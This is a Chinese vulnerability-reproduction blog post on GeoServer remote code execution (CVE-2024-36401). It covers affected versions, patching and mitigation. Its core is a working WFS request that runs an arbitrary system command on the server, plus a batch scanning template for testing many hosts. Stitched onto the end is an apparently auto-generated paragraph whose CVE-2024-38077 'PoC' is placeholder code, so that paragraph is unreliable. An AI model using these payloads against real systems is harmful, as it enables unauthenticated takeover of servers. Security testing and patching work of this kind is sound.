【漏洞复现】Geoserver远程代码执行漏洞(CVE-2024-36401)

漏洞描述

GeoServer是一个用Java编写的开源软件服务器,允许用户共享和编辑地理空间数据。它为提供交互操作性而设计,使用开放标准发布来自任何主要空间数据源的数据。

GeoServer存在远程代码执行漏洞(CVE-2024-36401),未经身份认证的远程攻击者可以通过该漏洞在服务器上执行任意代码,从而获取服务器权限。

漏洞名称Geoserver远程代码执行漏洞
CVE编码CVE-2024-36401
漏洞类型代码执行
漏洞等级高危
公开时间2024-07-02

影响版本

GeoServer < 2.23.6

2.24.0 <= GeoServer < 2.24.4

2.25.0 <= GeoServer < 2.25.2

利用条件

无需任何利用条件

漏洞复现

POST /geoserver/wfs HTTP/1.1
Host: ip
Content-Type: application/xml
Content-Length: 339

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"ping dgrh3.cn -c 1")'>
 <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

在这里插入图片描述

批量脚本

id: CVE-2024-36401-GeoServer-wfs-rce

info:
  name: GeoServer 远程代码执行漏洞(CVE-2024-36401)
  author: whgojp
  severity: critical
  description: GeoServer 远程代码执行漏洞(CVE-2024-36401)

http:
- raw:
  - |-
    @timeout: 30s
    POST /geoserver/wfs HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/xml
    Content-Length: 324

    <wfs:GetPropertyValue service='WFS' version='2.0.0'
     xmlns:topp='http://www.openplans.org/topp'
     xmlns:fes='http://www.opengis.net/fes/2.0'
     xmlns:wfs='http://www.opengis.net/wfs/2.0'
     valueReference='exec(java.lang.Runtime.getRuntime(),"ping {{interactsh-url}}")'>
     <wfs:Query typeNames='topp:states'/>
    </wfs:GetPropertyValue>

  max-redirects: 3
  matchers-condition: and
  matchers:
      - type: word
        words:
          - "dns"
        part: interactsh_protocol

修复建议

GeoServer已经发布先前版本的补丁,可以从下载页面(https://geoserver.org/)下载:2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0,从下载的补丁中获取gt-app-schema和gt-complex和 gt-xsd-core jar文件,替换掉WEB-INF/lib里面对应的文件即可。

临时缓解措施

删除GeoServer 中gt-complex-x.y.jar文件(x.y为GeoTools 版本,例如GeoServer 2.25.1中是gt-complex-31.1.jar),这将从 GeoServer 中删除漏洞代码,但可能会破坏某些 GeoServer 功能。

参考链接

https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
https://osgeo-org.atlassian.net/browse/GEOT-7587
https://github.com/vulhub/vulhub/pull/540/files#diff-f83989e1a9d69179df696bc01c04fbf62ba914325457bef67c1d95fb63772e91

关于CVE-2024系列漏洞的概念验证(PoC)代码,存在多个公开资源提供了不同漏洞的具体实现方式。 针对CVE-2024-38077这一特定编号下的Windows操作系统高危漏洞,有开源项目给出了Python脚本形式的攻击向量实例[^2]。该程序通过命令行参数指定目标主机地址来发起测试性质的操作请求: ```python import requests def cve_2024_38077_poc(target_ip): url = f"http://{target_ip}/vulnerable_endpoint" headers = {"User-Agent": "Mozilla/5.0"} try: response = requests.get(url, headers=headers) if response.status_code == 200 and 'specific_response' in response.text: print(f"[+] Target {target_ip} is vulnerable!") else: print("[!] Target does not appear to be vulnerable.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description='Test for CVE-2024-38077') parser.add_argument('--target_ip', required=True, help='The IP address of the target machine.') args = parser.parse_args() cve_2024_38077_poc(args.target_ip) ``` 值得注意的是,在实际环境中应用此类代码前应当获得合法授权并仅限于评估系统安全性之目的;严禁用于未经授权的渗透活动或恶意企图。 此外还有其他几个值得关注的安全公告也涉及到2024年的CVE编号,比如GeoServer中存在的CVE-2024-36401以及Jenkins平台上的CVE-2024-43044等问题均发布了相应的检测手段和技术细节说明[^3][^4]。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值